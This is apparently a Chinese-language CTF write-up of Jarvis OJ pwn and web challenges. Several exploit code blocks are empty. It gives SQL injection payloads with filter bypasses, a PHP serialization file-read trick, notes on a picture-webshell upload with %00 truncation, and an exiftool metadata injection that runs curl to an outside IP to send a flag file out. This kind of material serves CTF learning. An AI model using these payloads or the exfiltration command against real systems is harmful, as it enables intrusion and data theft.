Pwn
[XMAN]Level0
程序中存在callsystem
函数,栈溢出改返回地址即可
Vuln:
|
Exp:
|
[XMAN]level2(x64)
Vuln:
|
Exp:
|
[XMAN]level3(x64)
Vuln:
|
Exp:
|
Test Your Memory
Exp:
|
Tell Me Somethine
Exp:
|
Smashes
Vuln:
SSP(Stack Smashing Protector):
__stack_chk_fail
中的__fortify_fail
在被触发栈保护时,会输出程序名称,这个参数从栈上得到,将此位置覆盖为flag地址即可输出flag的值.
PS:环境变量问题在攻击远程时并没有遇见,可能出题者忘记设置了
|
Exp:
|
Guess
[61dctf]fm
Vuln
|
Exp
|
Web
神盾局的秘密
文件读取,访问 http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
|
访问http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
|
pctf.php序列化值为 O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
Login
查看http头 Hint:"select * from
adminwhere password='".md5($pass,true)."'"
Simple Injection
首先确定用户名为admin,采用分步验证的方式
E.g
|
admin测试发现对#注释符未过滤,使用payload能够被执行 username=a'/**/or/**/1=1#&password=123
总结应该是个盲注.查询相关表 列,构造正确sql语句查询password,使用mysql中exists函数
EXISTS代表存在量词∃。带有EXISTS谓词的子查询不返回任何数据,只产生逻辑真值“true”或者逻辑假值“false”。
|
username=a’//or//……..or前要为错误的,使得or后成立与否会返回不同只,若or前正确
爆破确定password值
|
得到passowrd 334cfb59c9d74849801d5acdcfdaadc3
,结合以上猜测,此数值应为md5加密后的数值,构造payload如下
username=user'/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#&password=1
c4ca4238a0b923820dcc509a6f75849b为1的md5值
Please use port 51 to visit this site.
需要在vps上执行,网络端口转发问题,端口在经过路由之后会改变
In a mess
右键查看源码得到hint
<!--index.phps-->work harder!harder!harder!
查看index.phps得到源码
|
- id php弱类型比较
- a 获取的文件中内容为制定内容
- 通过伪协议 输出流绕过 php://
- 通过自己vps上搭建内容 ip地址转化为十六进制
- b eregi遇到%00就终止 *也可以
下一关
<!--index.phps-->Come ON!!! {/^HT2mCpcvOLf}
得到注入点 空格 /1/绕过 双写绕过
|
payload:
/%5eHT2mCpcvOLf/index.php?id=0/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(context,-,title)/*8*/frfromom/*8*/content
Easy Gallery
- 图片上传采用图片马绕过,应该是对文件后缀及文件头的监测
- index?page= 文件包含漏洞,服务端会自动加上php采用%00截断绕过
- 图片码中采用绕过
Phpinfo
参考:
- http://blog.spoock.com/2016/10/16/php-serialize-problem/
- http://www.math1as.com/index.php/archives/227/
- http://blog.csdn.net/qq_31481187/article/details/53189113
|
通过传入phpinfo,$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";
图片上传
- http://www.evil0x.com/posts/22405.html
- http://weibo.com/p/1001603971443670055277
- http://m.duxuan.cn /doc/6320491.html
通过exiftool注入label标签给一张正常的png
./exiftool-label="\"|curl 106.187.45.41:9999 -F 'file=@/home/ctf/flag.txt'; \"" 2.png -o t.png
上传图片后获得的文件名
POST /upload.php?path=/tmp/&filesize=100&filetype=show&image=1486821802.png
返回包中出现笑脸表示命令执行成功
Upload: t.png<br />Size: 6.5146484375 Kb<br />Temp file: /opt/lampp/temp/phpx4sZjk<br />Stored in: uploads/1486821831.png:)
PS:
- 命令如果执行失败会返回哭脸。nc都失败
Upload: t.png<br />Size: 0.26953125 Kb<br />Temp file: /opt/lampp/temp/phpbDp7YG<br />Stored in: uploads/1486823617.png:)
Misc
TODO